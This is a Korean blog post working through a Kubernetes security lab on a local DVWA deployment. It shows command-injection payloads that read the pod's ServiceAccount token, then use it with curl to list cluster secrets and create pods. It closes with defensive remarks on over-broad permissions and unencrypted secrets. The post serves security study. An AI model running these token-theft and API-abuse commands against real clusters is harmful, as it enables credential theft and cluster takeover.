취약점분석 (Blue Team)/Cloud

[Cloud] Kubernetes 보안 실습 시나리오 1 ( RCE후 Pod 생성 )

poiri3r 2026. 6. 16. 21:11

이번 포스팅은 Kubernetes에서의 보안을 실습과 함께 공부해볼 예정입니다.

 

https://malwareanalysis.tistory.com/756

 

예제로 살펴보는 쿠버네티스 보안

1. 이 글에서 다루고자 하는 내용쿠버네티스 보안은 정말 범위가 넓고 쿠버네티스만 공부해서는 어려운 내용이 많습니다. 그래서 이 글에서는 쿠버네티스 보안에 대한 이론적 설명보다는 어떤

malwareanalysis.tistory.com

정말 좋은 실습 글을 찾아서 그대로 따라하면서 진행 했습니다.

 

해당 글에서는 총 6개의 흐름을 통해서 침해 사고가 발생합니다.

  1. 취약점이 존재하는 웹/앱의 RCE
  2. Pod 내부 정찰
  3. ServiceAccount Token발견
  4. Token으로 Kubernetes API 접근
  5. 과한 권한으로 Secret 조회
  6. Kubernetes API로 새 Pod 생성

실습을 준비하기 위해 블로그에 있는 링크에서 준비해주겠습니다.

 

https://github.com/choisungwook/portfolio/tree/master/kubernetes/security/manifests/dvwa_webapp

 

portfolio/kubernetes/security/manifests/dvwa_webapp at master · choisungwook/portfolio

portfolio. Contribute to choisungwook/portfolio development by creating an account on GitHub.

github.com

해당 링크는 취약점이 존재하는 dvwa를 kind cluster에 배포하는 과정입니다.

docker랑 kubectl은 버전이 있는데 kind랑 helm을 설치해줘야 합니다.

curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.23.0/kind-linux-amd64
chmod +x ./kind
sudo mv ./kind /usr/local/bin/kind
kind version
curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash
helm version

 

이후 클러스터를 생성했습니다

kind create cluster --name dvwa

 

 

kubectl create ns dvwa
kubectl apply -f ./ -n dvwa

해당 명령어로 배포가 가능합니다.

namespace라는 개념이 조금 익숙할텐데, Kubernetes안의 작업 공간을 만드는 명령어입니다.

appy -f ./ -n dvwa는 현재 폴더 안의 YAML 파일들을 읽어서 Kubernetes에 적용하라는 뜻입니다.

다운로드 받은 파일 안에 yaml이 들어있습니다.

 

추가로 ingress연결이 필요합니다.

ingress는 Kubernetes안의 서비스를 외부에서 웹주소로 접속할 수 있게 해주는 소프트웨어입니다.

근데 이거 설치 과정이 복잡하고 설정도 추가로 해줘야해서 그냥 외부 연결해주는 포트포워딩 설정을 하겠습니다.

 

 

127.0.0.1에 들어가면 다음과 같이 웹 접속이 성공합니다.

근데 DVWA로그인이 계속 안되서 헤매고 있습ㄴ디ㅏ.

원인을 찾아보니 DVWA 데이터베이스 users테이블에 계정이 아예 생성이 안되는 것 같더라고요

여기서 Command Injection에 들어가서 실습을 진행하면 됩니다.

여기서는 Command Injection으로 인한 RCE가 발생합니다.

; whoami를 치면 그대로 www-data가 나오게 됩니다.

 

 

이런 RCE 취약점에서 공격자는 웹 어플리케이션이 k8s pod에서 실행되고 있는지 확인해야 합니다.

pod은 KUBERNETES로 시작하는 환경 변수를 가지고 있습니다.

 

127.0.0.1; env | grep KUBERNETES

환경변수 검색을 통해 pod에서 실행되고 있는걸 공격자는 쉽게 확인 가능합니다.

 

첫번째 시나리오로 pod에 마운트된 토큰을 사용해서 kubernetes secret을 조회합니다.

Pod이 Kubernetes API에 접근할때 사용하는 계정을 ServiceAccount라고 하는데, 쿠버네티스에서 ServiceAccount의 인증 정보를 Pod안에 자동으로 넣어줄 수 있습니다.

 

127.0.0.1; cat /run/secrets/kubernetes.io/serviceaccount/token

이렇게 pod에 마운트된 토큰은 k8s api에 사용됩니다.

 

127.0.0.1; cat /run/secrets/kubernetes.io/serviceaccount/namespace

추가로 namespace가 어딘지도 확인 가능합니다

 

127.0.0.1 -c 1 && cat /run/secrets/kubernetes.io/serviceaccount/token | 
{ read TOKEN; curl -k -v -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: 
application/json" -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview",
"spec":{"namespace":"dvwa"}}' https://kubernetes.default.svc.cluster.local/apis/authorization
.k8s.io/v1/selfsubjectrulesreviews; }

해당 명령어는 token값을 읽은 뒤 k8s api에 권한을 확인하는 기능입니다.

k8s에게 dvwa namespace에서 해당 계정의 토큰이 어떤권한을 가지고 있는지 물어보는부분이고,

https://kubernetes.default.svc.cluster.local/apis/authorization.k8s.io/v1/selfsubjectrulesreviews

여기가 k8s api 서버 주소입니다.

해당 pods의 토큰은 대부분의 클러스터 리소스를 제어할 수 있는걸 확인하였습니다.

이제 api를 이용해서 secret값을 조회해야 합니다.

k8s에서 Secret은 비밀번호, 토큰, 인증서 같은 민감한 설정을 Pod에 전달하기 위한 리소스입니다.

127.0.0.1; TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token); 
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc.cluster.local/api/v1/secrets

127.0.0.1; echo MDEyMzQ1Njc4OWFiY2RlZg== | base64 -d 를 하면 토큰값을 디코딩해서 확인할 수 있습니다.나머지 값도 인코딩해서 확인하면

 

지금 현재까지 진행된 상황을 보면, 

  1. DVWA에서 Command Injection 발생
  2. Pod 내부의 ServiceAccount token 읽고
  3. 해당 토큰이 가진 권한을 확인
  4. 해당 토큰은 관리자급 권한을 가진(권한이 과도함) 토큰임을 확인
  5. 다른 namespace에 접근 가능 & Secret값 접근 가능

이걸 방어하기 위해서는 당연히 웹/앱에서 RCE가 존재하면 안되겠지만, pod에 부여된 권한이 과도하게 많고, Secret 관리가 미흡합니다.

시크릿값은 암호화해서 저장해야하는데 쿠버네티스 시크릿은 값을 암호화해서 저장하지 않고 base64인코딩해서 저장하므로 vault와 같은 써드파티를 이용해서 암호화 해야 합니다.

 

이제 시크릿 값으로 뭘 할 수 있는지 봐야합니다.

실습 출처 블로그의 2번에 해당하는 시나리오입니다.

https://malwareanalysis.tistory.com/756#comment25360934

현재 pod의 과도한 권한으로 인해 새로운 pod을 생성하는 것도 가능합니다.

127.0.0.1; TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token); curl -k -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -X POST https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/pods -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"nginx","namespace":"default"},"spec":{"containers":[{"name":"nginx","image":"nginx:latest","ports":[{"containerPort":80}]}]}}'

이제 host pc를 보면

제 본체 pc에 pod이 하나 생긴걸 확인 가능합니다.

 

https://malwareanalysis.tistory.com/756#comment25360934

나머지 시나리오중에 k8s API 변조도 있는데, 후킹을 거는것 처럼 정상 사용자가 pod을 생성할때마다 원하는 initcontainer를 주입하는 방식입니다.

해당 포스트 실습과 다르게 제 host pc는 권한상승이 안되는 환경이라 실습은 생략하겠습니다.

권한상승이 가능한경우 (sudo에 제약이 없는 경우)

wget명령어를 설치 & 깃허브의 manifest 툴을 설치하고 인증서를 만든 뒤, admission controller pod을 생성하고, admission controller service를 생성합니다.

 

이렇게 후킹에 성공하게 되면, 공격자가 직접 Pod을 만들필요 없이 생성되는 Pod에 악성 설정을 끼워넣을 수 있기에, 지속성 확보가 가능하고, 권한 확장이 가능합니다.

 

또 시나리오 7번에 kubletAPI가 있는데, kubeletAPI도 pod, k8s 리소스 등을 제어하므로 매우 취약합니다.

https://malwareanalysis.tistory.com/606

 

EKS 스터디 - 6주차 1편 - 미흡한 kubelet 인증/인가 설정의 위험

2022년 OWASP에서 쿠버네티스 TOP10 위험을 공개했습니다. 이 글은 항목 중 9번째에 해당하는 kubelet미흡한 설정 위험을 설명하고 예제를 살펴봅니다. 이 글은 영상으로도 만나보실 수 있습니다. https:

malwareanalysis.tistory.com

해당 블로그 내용에 있는데, 이것도 추후에 보면서 실습을 따로 해보도록 하겠습니다.

클라우드에 대한 보안 공부가 제대로 된게 처음인것 같은데 상당히 상당히 재미있네요.

 

InitConatiner도 한번 다시 실습환경 구축해서 빠른 시일내로 시도해보겠습니다/

상당히 재미있네요.

읽어주셔서 감사합니다